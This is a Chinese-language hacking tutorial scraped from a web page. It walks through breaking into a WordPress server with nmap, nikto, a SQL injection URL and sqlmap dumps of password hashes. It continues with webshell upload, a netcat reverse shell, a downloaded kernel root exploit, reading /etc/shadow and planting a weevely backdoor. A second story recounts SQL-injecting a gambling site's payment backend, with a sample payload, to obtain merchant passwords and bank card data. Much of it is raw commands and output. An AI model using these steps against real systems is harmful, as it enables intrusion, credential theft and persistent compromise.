现在我们知道,目标站点使用了用PHP编写的非常出名的开源博客系统 WordPress,并且是跑在Fedora 的 Linux 发行版上的,Apache 版本是 2.2.15。接下来让我们看看目标站点服务器开了哪些端口:
祭出神器 Nmap
root@bt:/# nmap -sV hack-test.com
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds
root@bt:/# nmap -O hack-test.com
Starting Nmap5.59 BETA1(http://nmap.org ) at 2011-12-28 06:40 EET
Nmapscanreportforhack-test.com(192.168.1.2)
Host is up(0.00079slatency).
Not shown:998filteredports
PORTSTATESERVICE
22/tcpclosedssh80/tcpopenhttp
MACAddress:00:0C:29:01:8A:4D(VMware)
Devicetype:generalpurpose
Running:Linux2.6.X
OS details:Linux2.6.22(FedoraCore6)
Network Distance:1hopOS detection performed.Pleasereportanyincorrectresultsathttp://nmap.org/submit/ .
Nmap done:1IPaddress(1hostup)scannedin7.42seconds
上面只开了 80,而且是 Fedora Core 6 Linux内 核版本为2.6.22
现在我们已经收集了很多关于目标站点的重要信息了。让我们扫扫他的漏洞吧。( Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF,等等.)
让我们先试试 Nakto.pl 来扫扫,没准能搞出点漏洞来
root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com
– Nikto v2.1.4
—————————————————————————
+ Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03
—————————————————————————
+ Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds)
—————————————————————————
同时试试 Wa3f(Ps:哦哇谱死的开源项目,很不错的说~)
root@bt:/pentest/web/w3af# ./w3af_gui
Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.
图形界面的扫描方式,写入URL即可。
用以前给杂志社投稿的语气说,泡杯茶的功夫,等待扫描结束并查看结果。
你可以看到很多漏洞信息鸟~先试试SQL注入。
url – http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220 然后 Exploit it!
发现其他漏洞测试失败,用SQLMap进行脱裤吧(猜解数据库并保存目标站点相关信息到本地) Dump it!
sqlmap -u url
过一小会儿能见到如下信息
按n并回车后你可以看到
哦也~显错方式的注入点,而且爆出的 Mysql的版本信息
用sqlmap取得所有库,参数 -dbs
找到三个库
查Wordpress的库中所有表,参数 -D wordpress -tables
然后是列名(这里需要你自己熟悉敏感信息存在哪个表中呢),参数 -T wp_users -columns
22个字段(列)
然后查数据,参数 -C user_login,user_pass –dump
然后解密管理员的hash,这里用的是 http://www.onlinehashcrack.com/free-hash-reverse.php
明文密码是q1w2e3(和csdn库的密码排行榜有得一拼,哈哈~),
然后登入后台拿webshell了。
Get in!~
来传个PHP的webshell吧~这里用的编辑插件拿shell的方法(见我以前写的tips,方法有很多哦~
牛b。保存就可以了。然后访问就可以看到可爱的 webshell 了。
灰阔都知道,接下来要提权了。用反弹来获取一个交互式的shell。
本地用nc监听(不得不说经典就是经典啊~)
连上之后
输点 Linux 命令试试火候
id
uid=48(apache) gid=489(apache) groups=489(apache)pwd
/var/www/html/Hackademic_RTB1/wp-content/pluginsuname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
命令作用我就不翻译了。获取了内核版本,我们可以到 exploit-db.com 来寻找相关的exp进行权限的提升。
老外都是用wget下载的,国内灰阔们呢?
wgethttp://www.exploit-db.com/download/15285 -O roro.c
--2011-12-2800:48:01--http://www.exploit-db.com/download/15285
Resolvingwww.exploit-db.com...199.27.135.111,199.27.134.111
Connectingtowww.exploit-db.com|199.27.135.111|:80...connected.
HTTPrequestsent,awaitingresponse...301MovedPermanently
Location:http://www.exploit-db.com/download/15285/ [following]
--2011-12-2800:48:02--http://www.exploit-db.com/download/15285/
Connectingtowww.exploit-db.com|199.27.135.111|:80...connected.
HTTPrequestsent,awaitingresponse...200OK
Length:7154(7.0K)[application/txt]
Savingto:`roro.c'0K......100%29.7K=0.2s
代码我不贴了。用 gcc 编译 exp gcc roro.c -o roro ,编译并且执行 exp。
./roro
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
淡定,敲个 id 试试,你可以发现 root it!
现在可以查看 shadow 和 passwd 了~(我只截了部分)
cat /etc/shadow
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::
我们可以使用 John the ripper 来破哈希。但是我们不会这么做,通常我们会留下一个后门(权限巩固),这样就可以随时涂掉他首页了(hv a joke.)。
用 kali 中的 weevely 来上传一个带密码保护的 PHP 的 webshell。
1 – weevely 的相关选项
root@bt:/pentest/backdoors/web/weevely# ./main.py -
Weevely0.3-GenerateandmanagestealthPHPbackdoors.
Copyright(c)2011-2012WeevelyDevelopers
Website:http://code.google.com/p/weevely/Usage:main.py[options]
Options:
-h,--helpshowthishelpmessageandexit
-g,--generateGeneratebackdoorcryptedcode,requires-oand-p.
-oOUTPUT,--output=OUTPUT
Outputfilenameforgeneratedbackdoor.
-cCOMMAND,--command=COMMAND
Executeasinglecommandandexit,requires-uand-p
.
-t,--terminalStartaterminal-likesession,requires-uand-p.
-CCLUSTER,--cluster=CLUSTER
Startinclustermodereadingitemsfromthegive
file,intheform'label,url,password'wherelabelis
optional.
-pPASSWORD,--password=PASSWORD
Passwordoftheencryptedbackdoor.-uURL,--url=URLRemotebackdoorURL.
2 – 用它来创建一个PHP的webshell
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
Weevely0.3-GenerateandmanagestealthPHPbackdoors.
Copyright(c)2011-2012WeevelyDevelopers
Website:http://code.google.com/p/weevely/+Backdoorfile'hax.php'createdwithpassword'koko'.
3 – 上传
我们现在可以用weevely连接并操控他了。
测试(其实就相当于一句话马差不多的..)
From:黑客怎么入侵网站(网站渗透入侵全部教程) - 长城号
近年来很多黑客把目标锁定到了暴利的博彩网站,很多博彩平台开设在境外,由于平台内的资金池非常大,从事的行业又很多都是非法行为,所以很多黑客就打起了“黑吃黑”的注意,对这种赌博网站进行渗透和入侵,下边分享一个国外黑客入侵某博彩网站全过程!
当然,大伙也可以私信我们,加群或者加入圈子,我们一起学习探讨!!!
对这种赌博网站,大多数都是存在很多xss和sql注入(主要还是xss比较多),另外一方面的话就是对类似的源码进行一个白盒测试,浏览器打开主页某个地址,弹出来一个“博彩网站”打开网站其实网站的程序跟普通博彩网站没什么两样,都是直接右上角注册,然后注册马上就可以玩各种彩票什么的。
网络上看看这类程序有没有什么安全漏洞,但是没有找到什么有用的,相对来说,研究看看有没有什么新的渗透这类网站的方式,其实看了整个网站,功能测试了多遍没有发现什么较大的安全漏洞。
测试支付接口的时候,他们很多地方都是直接要求用户转账来充值,充值有很多种方式,其中就有一个接口就是直接可以支付宝支付,输入个300元直接跳转到一个支付二维码。
直接访问这个接口主页,是一个支付平台样子是这样的,还打着“某某科技”估计是想让人以为是正规的支付渠道。
来到一个商户登录页面,这里面进去肯定有不少功能测试。
其实在此过程中已经对网站做了不少测试,在过程中把没必要写入的都省略掉了,所以过程都是直接写重点,挖掘的过程耗费比较长时间去找
其中我在一个JS页面找到多个有权限才可触碰到的操作js请求,但是其中有两个位置可以直接无权限请求,所以在测试漏洞过程中对于每一个点都要加以测试。
上图是js截图,像这样的还有十几条请求,简单的组合成post请求,可以发现请求返回 true 这样的返回包
但是在接下来简单输入个单引号直接就报错 sql错误信息,对多个字符进行测试,发现就单引号会报错,那肯定有问题的,测试and证明了存在SQL注入
1′ and(select length(database())) = 18 and ‘1’=’
18时报错证明长度18
过程大家都懂,得到了多个商户密码,其次这个网站一共就3个商户都是他们“赌博网站”的,登录第一个查看。
里面好几个银行卡号,其中账户里面有100多万人民币
他们还有一个后台,后台不方便截图出来,敏感内容较多,是这个支付接口的后台。
这是黑客攻防一次经历,希望大伙关注我们的头条号,这样可以看到更多精彩内容。我希望大伙吸取经验,然后学习更多知识,这是我们的初衷,最后可以私信小编,加群也可以加入我们的圈子一起探讨更高深的web经验。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。